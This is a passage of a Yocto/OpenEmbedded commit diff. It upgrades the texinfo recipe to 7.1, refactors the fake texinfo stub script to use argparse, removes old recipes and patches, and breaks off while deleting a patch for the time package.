diff --git a/meta/recipes-extended/texi2html/texi2html_5.0.bb b/meta/recipes-extended/texi2html/texi2html_5.0.bb
deleted file mode 100644
index afd125b08f..0000000000
--- a/meta/recipes-extended/texi2html/texi2html_5.0.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Perl script that converts Texinfo to HTML"
-HOMEPAGE = "http://www.nongnu.org/texi2html/"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
-
-PR = "r2"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/texi2html/${BPN}-${PV}.tar.bz2 \
- file://0001-Allow-compiling-out-of-source.patch \
- "
-
-SRC_URI[md5sum] = "f15ac876fcdc8be865b16535f480aa54"
-SRC_URI[sha256sum] = "e8a98b0ee20c495a6ab894398a065ef580272dbd5a15b1b19e8bd1bc89d9f9fa"
-
-inherit autotools gettext texinfo
-
-do_configure_prepend() {
- # autotools_do_configure updates po/Makefile.in.in, we also need
- # update po_document.
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_messages/
-}
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2html
-}
-
-FILES_${PN}-doc += "${datadir}/texinfo"
-
-RDEPENDS_${PN} = "perl"
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
index 1254bc89b4..51d9c92766 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb
@@ -1,5 +1,6 @@
SUMMARY = "Fake version of the texinfo utility suite"
SECTION = "console/utils"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb"
DEPENDS = ""
@@ -7,21 +8,24 @@ PV = "1.0"
SRC_URI = "file://template.py file://COPYING"
-S = "${WORKDIR}"
-
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+S = "${WORKDIR}/sources"
+UNPACKDIR = "${S}"
inherit native
+#
+# To avoid texinfo-dummy-native and texinfo-native conflicting we install to base_bindir
+# which is later in PATH than bindir where texinfo-native installs
+#
do_install_name() {
- FILENAME="${D}${bindir}/$1"
+ FILENAME="${D}${base_bindir}/$1"
# Using ln causes problems with rm_work
cp -T "${S}/template.py" "$FILENAME"
chmod +x $FILENAME
}
do_install() {
- mkdir -p "${D}${bindir}"
+ mkdir -p "${D}${base_bindir}"
for i in makeinfo pod2texi texi2dvi pdftexi2dvi texindex texi2pdf \
txixml2texi texi2any install-info ginstall-info \
update-info-dir; do
diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py
index e369f74455..86c7c1811a 100644
--- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py
+++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py
@@ -28,26 +28,23 @@
# of the executable from argv[0] and emulate the corresponding program, so
# multiple copies of this script will exist under different names.
-import sys, os
+import sys, os, argparse
-olong = "--output="
-Elong = "--macro-expand="
-
-this_binary = sys.argv[0].split ("/")[-1]
+this_binary = sys.argv[0].split("/")[-1]
# To be outputted if functionality that hasn't been stubbed yet is invoked.
stub_msg = """
-This stand-in version of %s is not yet fully capable of emulating the real
-version from the GNU texinfo suite. If you see this message, file a bug report
-with details on the recipe that failed.
+This stand-in version of %s is not yet fully capable of emulating
+the real version from the GNU texinfo suite. If you see this message, file a
+bug report with details on the recipe that failed.
""" % this_binary
# Autotools setups query the version, so this is actually necessary. Some of
# them (lookin' at you, glibc) actually look for the substring "GNU texinfo,"
# so we put that substring in there without actually telling a lie.
-version_str = """ %s (fake texinfo, emulating GNU texinfo) 5.2
-
+version_str = """%s (fake texinfo, emulating GNU texinfo) 5.2
+
Super amazing version which is totally not fake in any way whatsoever.
Copyright (C) 2014 Intel Corp. Distributed under the terms of the MIT
license.
@@ -55,63 +52,45 @@ license.
simple_binaries = "pod2texi texi2dvi pdftexi2dvi texindex texi2pdf \
txixml2texi install-info ginstall-info \
- update-info-dir".split ()
+ update-info-dir".split()
# These utilities use a slightly different set of options and flags.
-complex_binaries = "makeinfo texi2any".split ()
+complex_binaries = "makeinfo texi2any".split()
valid_binaries = simple_binaries + complex_binaries
-# For generating blank output files.
-def touch_file (path):
- f = open (path, "w")
- f.close ()
-
assert this_binary in valid_binaries, \
- this_binary + " is not one of " + ', '.join (valid_binaries)
-
-if "--version" in sys.argv:
- print(version_str)
- sys.exit (0)
+ this_binary + " is not one of " + ', '.join(valid_binaries)
# For debugging
log_interceptions = False
if log_interceptions:
- f = open ("/tmp/intercepted_" + this_binary, "a")
- f.write (' '.join ([this_binary] + sys.argv[1:]) + '\n')
- f.close ()
+ with open("/tmp/intercepted_" + this_binary, "a") as f:
+ f.write(' '.join([this_binary] + sys.argv[1:]) + '\n')
# Look through the options and flags, and if necessary, touch any output
# files.
-arg_idx = 1
-while arg_idx < len (sys.argv):
- arg = sys.argv [arg_idx]
-
- if arg == "--":
- break
-
- # Something like -I . can result in a need for this (specifically the .)
- elif len (arg) < 2:
+p = argparse.ArgumentParser()
+if this_binary in complex_binaries:
+ p.add_argument('-E', '--macro-expand', metavar='FILE')
+p.add_argument('-o', '--output', metavar='DEST')
+p.add_argument('--version', action='store_true')
+
+args, unknown = p.parse_known_args()
+
+if args.version:
+ print(version_str)
+ sys.exit(0)
+
+# Check for functionality that isn't implemented yet.
+assert not getattr(args, 'macro_expand', None), \
+ "-E/--macro-expand option not yet supported" + stub_msg
+
+# Check if -o or --output is specified.
+if args.output:
+ with open(args.output, 'w'):
pass
-
- # Check if -o or --output is specified. These can be used at most once.
- elif arg[0] == '-' and arg[1] != '-' and arg[len (arg) - 1] == 'o':
- touch_file (sys.argv[arg_idx + 1])
- sys.exit (0)
- elif arg.startswith (olong):
- touch_file (arg.split ("=")[1])
- sys.exit (0)
-
- # Check for functionality that isn't implemented yet.
- else:
- assert arg[0] != '-' or arg[1] == '-' or 'E' not in arg or \
- this_binary in simple_binaries, \
- "-E option not yet supported" + stub_msg
-
- assert not arg.startswith (Elong), \
- Elong[:-1] + " option not yet supported" + stub_msg
-
- arg_idx += 1
+ sys.exit(0)
# The -o/--output option overrides the default. For makeinfo and texi2any,
# that default is to look for a @setfilename command in the input file.
@@ -119,4 +98,3 @@ while arg_idx < len (sys.argv):
assert this_binary in simple_binaries, \
"Don't know how to get default output file name from input file!" + \
stub_msg
-
diff --git a/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index c7338aa470..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: texinfo-5.2/gnulib/lib/Makefile.am
-===================================================================
---- texinfo-5.2.orig/gnulib/lib/Makefile.am
-+++ texinfo-5.2/gnulib/lib/Makefile.am
-@@ -378,7 +378,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
index ab6f1658aa..b43a115b23 100644
--- a/meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch
@@ -1,3 +1,9 @@
+From ee9d23373b488c4a499c561d71e6b6ba7ca1bd31 Mon Sep 17 00:00:00 2001
+From: Joshua Lock <josh@linux.intel.com>
+Date: Fri, 16 Sep 2011 15:35:48 -0700
+Subject: [PATCH 1/3] texinfo: several changes to build without zlib and
+ ncurses
+
We already DEPEND on the native texinfo being present before building so
there isn't any need to try and build the required native texinfo binaries
before cross-compiling. This simplifies the recipe somewhat!
@@ -5,12 +11,15 @@ before cross-compiling. This simplifies the recipe somewhat!
Upstream-Status: Inappropriate oe specific
Signed-off-by: Joshua Lock <josh@linux.intel.com>
+---
+ configure.ac | 24 +-----------------------
+ 1 file changed, 1 insertion(+), 23 deletions(-)
-Index: texinfo-4.13/configure.ac
-===================================================================
---- texinfo-4.13.orig/configure.ac
-+++ texinfo-4.13/configure.ac
-@@ -100,29 +100,7 @@ AC_CANONICAL_BUILD
+diff --git a/configure.ac b/configure.ac
+index 8094498..5b72fc1 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -247,29 +247,7 @@ AC_CANONICAL_BUILD
# $native_tools is also added to SUBDIRS in the main Makefile.am,
# so that make compiles the native tools first.
#
@@ -41,3 +50,6 @@ Index: texinfo-4.13/configure.ac
AC_SUBST(native_tools)
AM_CONDITIONAL(TOOLS_ONLY, [[test "x$tools_only" = x1]])
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
index f4184399c7..f3b6827d58 100644
--- a/meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch
+++ b/meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch
@@ -1,7 +1,7 @@
-From e89b1c57d76f5cf5acbb0d0187374f7a77bce1e2 Mon Sep 17 00:00:00 2001
+From e02be81fa68ddc7f939abd99de4e42759a0d5d8c Mon Sep 17 00:00:00 2001
From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
Date: Tue, 29 Nov 2016 13:43:24 -0600
-Subject: [PATCH] dont-depend-on-help2man
+Subject: [PATCH 2/3] dont-depend-on-help2man
Upstream-Status: Inappropriate
@@ -13,23 +13,23 @@ Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
2 files changed, 7 insertions(+), 7 deletions(-)
diff --git a/doc/Makefile.am b/doc/Makefile.am
-index 39db834..1bb2a4f
+index e9e6298..f1b9895 100644
--- a/doc/Makefile.am
+++ b/doc/Makefile.am
-@@ -38,7 +38,7 @@ refcard_files = refcard/Makefile refcard/txicmdcheck \
+@@ -63,7 +63,7 @@ refcard/txirefcard.pdf refcard/txirefcard-a4.pdf: refcard/txirefcard.tex
# Include our texinfo.tex, not Automake's.
EXTRA_DIST = epsf.tex texinfo.tex \
fdl.texi \
- $(man_MANS) $(TXI_XLATE) \
+ $(TXI_XLATE) \
- $(refcard_files) texinfo-tex-test.texi \
- texinfo-ja.tex short-sample-ja.texi
-
+ $(refcard_files) \
+ texinfo-tex-test.texi texinfo-tex-test.WIDOWs \
+ texinfo-ja.tex short-sample-ja.texi \
diff --git a/man/Makefile.am b/man/Makefile.am
-index 6bfcb3d..a820c96
+index f2c703f..61caeeb 100644
--- a/man/Makefile.am
+++ b/man/Makefile.am
-@@ -13,24 +13,24 @@
+@@ -11,27 +11,27 @@
# implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# These are generated using help2man.
@@ -47,10 +47,13 @@ index 6bfcb3d..a820c96
-man_MANS += info.5 texinfo.5
+#man_MANS += info.5 texinfo.5
- # This is generated by pod2man, but let's just run it by hand.
-man_MANS += pod2texi.1
+#man_MANS += pod2texi.1
+ pod2texi.1: $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl
+ $(POD2MAN) $(top_srcdir)/Pod-Simple-Texinfo/pod2texi.pl >"$@"
+
+
# These are just .so's to the common program.
-man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
+#man_MANS += texi2any.1 texi2pdf.1 pdftexi2dvi.1
@@ -61,5 +64,5 @@ index 6bfcb3d..a820c96
# Maintainers should be able to regenerate.
MAINTAINERCLEANFILES = $(man_MANS)
--
-2.9.3
+2.39.2
diff --git a/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
new file mode 100644
index 0000000000..f99f8b87d5
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch
@@ -0,0 +1,28 @@
+From 33b85a3928895b812b37dc759c6de711802db45f Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Mon, 29 Jul 2013 15:02:34 -0700
+Subject: [PATCH 3/3] texinfo: Update to 5.1
+
+Upstream-Status: Inappropriate [cross build specific]
+
+Signed-off-by: Saul Wold <sgw@linux.intel.com>
+---
+ info/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/info/Makefile.am b/info/Makefile.am
+index f57b341..a019aa7 100644
+--- a/info/Makefile.am
++++ b/info/Makefile.am
+@@ -77,7 +77,7 @@ cmd_sources = $(srcdir)/session.c $(srcdir)/echo-area.c $(srcdir)/infodoc.c \
+ # more than once.
+ funs.h: makedoc$(EXEEXT) $(cmd_sources)
+ rm -f $(generated_sources)
+- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
++ makedoc $(cmd_sources)
+
+ # The following hack is necessary to hint make before the automatic
+ # dependencies are built.
+--
+2.39.2
+
diff --git a/meta/recipes-extended/texinfo/texinfo/link-zip.patch b/meta/recipes-extended/texinfo/texinfo/link-zip.patch
deleted file mode 100644
index 0b6e9fd7ea..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/link-zip.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-install-info uses symbols from zlib so must link against it.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joshua Lock <josh@linux.intel.com>
-
-Index: texinfo-5.1/install-info/Makefile.am
-===================================================================
---- texinfo-5.1.orig/install-info/Makefile.am
-+++ texinfo-5.1/install-info/Makefile.am
-@@ -34,4 +34,4 @@ AM_CPPFLAGS = \
- -I$(top_srcdir)/gnulib/lib \
- -I$(top_builddir)/gnulib/lib \
- -DLOCALEDIR=\"$(localedir)\"
--LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL)
-+LDADD = $(top_builddir)/gnulib/lib/libgnu.a $(LIBINTL) -lz
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f25352c636..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,256 +0,0 @@
-From fe4f00459601efe0cfa75d92749a32237800a530 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 12:27:17 -0600
-Subject: [PATCH] texinfo-4.12-zlib
-
-Upstream-Status: Pending
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
----
- install-info/Makefile.in | 12 ++-----
- install-info/install-info.c | 79 +++++++++++++++++++++++++++------------------
- 2 files changed, 49 insertions(+), 42 deletions(-)
-
-diff --git a/install-info/Makefile.in b/install-info/Makefile.in
-index 837d020..ba96579 100644
---- a/install-info/Makefile.in
-+++ b/install-info/Makefile.in
-@@ -216,7 +208,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
- PROGRAMS = $(bin_PROGRAMS)
- am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
- ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
--ginstall_info_LDADD = $(LDADD)
-+ginstall_info_LDADD = $(LDADD) -lz
- am__DEPENDENCIES_1 =
- ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
- $(am__DEPENDENCIES_1)
-diff --git a/install-info/install-info.c b/install-info/install-info.c
-index e58189c..8617787 100644
---- a/install-info/install-info.c
-+++ b/install-info/install-info.c
-@@ -22,6 +22,7 @@
- #include <getopt.h>
- #include <regex.h>
- #include <argz.h>
-+#include <zlib.h>
-
- #define TAB_WIDTH 8
-
-@@ -684,15 +685,15 @@ The first time you invoke Info you start off looking at this node.\n\
-
- Return either stdin reading the file, or a non-stdin pipe reading
- the output of the compression program. */
--FILE *
-+void *
- open_possibly_compressed_file (char *filename,
- void (*create_callback) (char *),
-- char **opened_filename, char **compression_program)
-+ char **opened_filename, char **compression_program, int *is_pipe)
- {
- char *local_opened_filename, *local_compression_program;
- int nread;
- char data[13];
-- FILE *f;
-+ gzFile *f;
-
- /* We let them pass NULL if they don't want this info, but it's easier
- to always determine it. */
-@@ -700,48 +701,48 @@ open_possibly_compressed_file (char *filename,
- opened_filename = &local_opened_filename;
-
- *opened_filename = filename;
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- {
- *opened_filename = concat (filename, ".gz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".xz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".bz2", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lzma", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #ifdef __MSDOS__
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".igz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".inz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #endif /* __MSDOS__ */
- if (!f)
-@@ -757,7 +758,7 @@ open_possibly_compressed_file (char *filename,
- (*create_callback) (filename);
-
- /* And try opening it again. */
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
- }
-@@ -767,26 +768,26 @@ open_possibly_compressed_file (char *filename,
-
- /* Read first few bytes of file rather than relying on the filename.
- If the file is shorter than this it can't be usable anyway. */
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread != 1)
-+ nread = gzread (f, data, sizeof (data));
-+ if (nread != sizeof (data))
- {
-- if (nread == 0)
-+ if (nread >= 0)
- {
- /* Try to create the file if its empty. */
-- if (feof (f) && create_callback)
-+ if (gzeof(f) && create_callback)
- {
-- if (fclose (f) != 0)
-+ if (gzclose(f) != 0)
- return 0; /* unknown error closing file */
-
-- if (remove (filename) != 0)
-+ if (remove(filename) != 0)
- return 0; /* unknown error deleting file */
-
- (*create_callback) (filename);
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread == 0)
-+ nread = gzread(f, data, sizeof (data));
-+ if (nread >= 0)
- return 0;
- goto determine_file_type; /* success */
- }
-@@ -857,35 +858,40 @@ determine_file_type:
- *compression_program = NULL;
-
- /* Seek back over the magic bytes. */
-- if (fseek (f, 0, 0) < 0)
-+ if (gzseek (f, 0, SEEK_SET) == -1)
- return 0;
-
- if (*compression_program)
- { /* It's compressed, so open a pipe. */
-+ FILE *p;
- char *command = concat (*compression_program, " -d", "");
-
-- if (fclose (f) < 0)
-+ if (gzclose (f) < 0)
- return 0;
-- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
-- if (!f)
-+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
-+ if (!p)
- return 0;
-- f = popen (command, "r");
-- if (!f)
-+ p = popen (command, "r");
-+ if (!p)
- {
- /* Used for error message in calling code. */
- *opened_filename = command;
- return 0;
- }
-+ else
-+ *is_pipe = 1;
-+ return p;
- }
- else
- {
--#if O_BINARY
-+#if 0 && O_BINARY
- /* Since this is a text file, and we opened it in binary mode,
- switch back to text mode. */
- f = freopen (*opened_filename, "r", f);
- if (! f)
- return 0;
- #endif
-+ *is_pipe = 0;
- }
-
- return f;
-@@ -904,7 +910,8 @@ readfile (char *filename, int *sizep,
- void (*create_callback) (char *), char **opened_filename,
- char **compression_program)
- {
-- FILE *f;
-+ void *f;
-+ int pipe_p;
- int filled = 0;
- int data_size = 8192;
- char *data = xmalloc (data_size);
-@@ -912,14 +919,20 @@ readfile (char *filename, int *sizep,
- /* If they passed the space for the file name to return, use it. */
- f = open_possibly_compressed_file (filename, create_callback,
- opened_filename,
-- compression_program);
-+ compression_program,
-+ &pipe_p);
-
- if (!f)
- return 0;
-
- for (;;)
- {
-- int nread = fread (data + filled, 1, data_size - filled, f);
-+ int nread;
-+
-+ if (pipe_p)
-+ nread = fread (data + filled, 1, data_size - filled, f);
-+ else
-+ nread = gzread (f, data + filled, data_size - filled);
- if (nread < 0)
- return 0;
- if (nread == 0)
-@@ -938,8 +951,10 @@ readfile (char *filename, int *sizep,
- /* We need to close the stream, since on some systems the pipe created
- by popen is simulated by a temporary file which only gets removed
- inside pclose. */
-- if (f != stdin)
-+ if (pipe_p)
- pclose (f);
-+ else
-+ gzclose (f);
-
- *sizep = filled;
- return data;
---
-2.9.3
-
diff --git a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch b/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
deleted file mode 100644
index 5b7f32d9a9..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [cross build specific]
-
-Signed-off-by: Saul Wold <sgw@linux.intel.com>
-
-Index: texinfo-5.1/info/Makefile.am
-===================================================================
---- texinfo-5.1.orig/info/Makefile.am
-+++ texinfo-5.1/info/Makefile.am
-@@ -76,7 +76,7 @@ cmd_sources = $(srcdir)/session.c $(srcd
- # more than once.
- funs.h: makedoc$(EXEEXT) $(cmd_sources)
- rm -f $(generated_sources)
-- $(top_builddir)/$(native_tools)/info/makedoc $(cmd_sources)
-+ makedoc $(cmd_sources)
-
- # The following hack is necessary to hint make before the automatic
- # dependencies are built.
diff --git a/meta/recipes-extended/texinfo/texinfo_6.5.bb b/meta/recipes-extended/texinfo/texinfo_7.1.bb
index f966457f88..65d8252fb9 100644
--- a/meta/recipes-extended/texinfo/texinfo_6.5.bb
+++ b/meta/recipes-extended/texinfo/texinfo_7.1.bb
@@ -4,10 +4,10 @@ online information and printed output from a single source file. The \
GNU Project uses the Texinfo file format for most of its documentation."
HOMEPAGE = "http://www.gnu.org/software/texinfo/"
SECTION = "console/utils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-PROVIDES_append_class-native = " texinfo-replacement-native"
+PROVIDES:append:class-native = " texinfo-replacement-native"
def compress_pkg(d):
if bb.data.inherits_class('compress_doc', d):
@@ -20,64 +20,64 @@ def compress_pkg(d):
return "xz"
return ""
-RDEPENDS_info += "${@compress_pkg(d)}"
+RDEPENDS:info += "${@compress_pkg(d)}"
DEPENDS = "zlib ncurses texinfo-replacement-native"
-DEPENDS_class-native = "zlib-native ncurses-native"
+DEPENDS:class-native = "zlib-native ncurses-native"
-TARGET_PATCH = "file://use_host_makedoc.patch"
-TARGET_PATCH_class-native = ""
+TARGET_PATCH = "file://0003-texinfo-Update-to-5.1.patch"
+TARGET_PATCH:class-native = ""
SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
- file://texinfo-4.12-zlib.patch \
- file://disable-native-tools.patch \
- file://link-zip.patch \
- file://dont-depend-on-help2man.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
+ file://0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch \
+ file://0002-dont-depend-on-help2man.patch \
${TARGET_PATCH} \
- "
+ "
-SRC_URI[md5sum] = "94e8f7149876793030e5518dd8d6e956"
-SRC_URI[sha256sum] = "d34272e4042c46186ddcd66bd5d980c0ca14ff734444686ccf8131f6ec8b1427"
+SRC_URI[sha256sum] = "dd5710b3a53ac002644677a06145748e260592a35be182dc830ebebb79c5d5a0"
tex_texinfo = "texmf/tex/texinfo"
-inherit gettext autotools
+inherit gettext autotools multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
+CACHED_CONFIGUREVARS += "texinfo_cv_sys_iconv_converts_euc_cn=yes"
-do_configure_prepend () {
+do_configure:prepend () {
# autotools_do_configure updates po/Makefile.in.in, we also need
# update po_document.
cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
}
-do_compile_prepend() {
+do_compile:prepend() {
if [ -d tools ];then
oe_runmake -C tools/gnulib/lib
fi
}
-do_install_append() {
+do_install:append() {
mkdir -p ${D}${datadir}/${tex_texinfo}
install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
+ sed -i -e 's,${HOSTTOOLS_DIR},,' ${D}${bindir}/texindex
}
-do_install_append_class-native() {
+do_install:append:class-native() {
install -m 755 info/makedoc ${D}${bindir}
}
PACKAGES += "info info-doc"
-FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
-FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
+FILES:info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
+FILES:info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
${mandir}/man1/info.1* ${mandir}/man5/info.5* \
${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
-FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
-RDEPENDS_${PN} = "perl"
-FILES_${PN}-doc = "${infodir}/texinfo* \
+FILES:${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
+RDEPENDS:${PN} = "perl"
+FILES:${PN}-doc = "${infodir}/texi* \
${datadir}/${tex_texinfo} \
${mandir}/man1 ${mandir}/man5"
@@ -85,6 +85,6 @@ FILES_${PN}-doc = "${infodir}/texinfo* \
# but the code will test for it and if not found use Locale::gettext_pp instead.
# However, this causes a file dependency on perl(Locale::gettext_xs) to be
# generated, which must be satisfied.
-RPROVIDES_${PN} += "perl(Locale::gettext_xs)"
+RPROVIDES:${PN} += "perl(Locale::gettext_xs)"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/time/time-1.7/debian.patch b/meta/recipes-extended/time/time-1.7/debian.patch
deleted file mode 100644
index 23ea0e3eb9..0000000000
--- a/meta/recipes-extended/time/time-1.7/debian.patch
+++ /dev/null
@@ -1,1301 +0,0 @@
-Upstream-Status: Backport
-
---- time-1.7.orig/configure.in
-+++ time-1.7/configure.in
-@@ -1,11 +1,8 @@
- dnl Process this file with autoconf to produce a configure script.
- AC_INIT(time.c)
--VERSION=1.7
--AC_SUBST(VERSION)
--PACKAGE=time
--AC_SUBST(PACKAGE)
-+AM_INIT_AUTOMAKE(time, 1.7)
-
--AC_ARG_PROGRAM
-+AM_MAINTAINER_MODE
-
- dnl Checks for programs.
- AC_PROG_CC
-@@ -15,7 +12,7 @@
- dnl Checks for header files.
- AC_HEADER_STDC
- AC_HEADER_SYS_WAIT
--AC_CHECK_HEADERS(unistd.h string.h sys/rusage.h)
-+AC_CHECK_HEADERS(unistd.h string.h sys/rusage.h sys/resource.h)
-
- dnl Checks for typedefs, structures, and compiler characteristics.
- AC_C_CONST
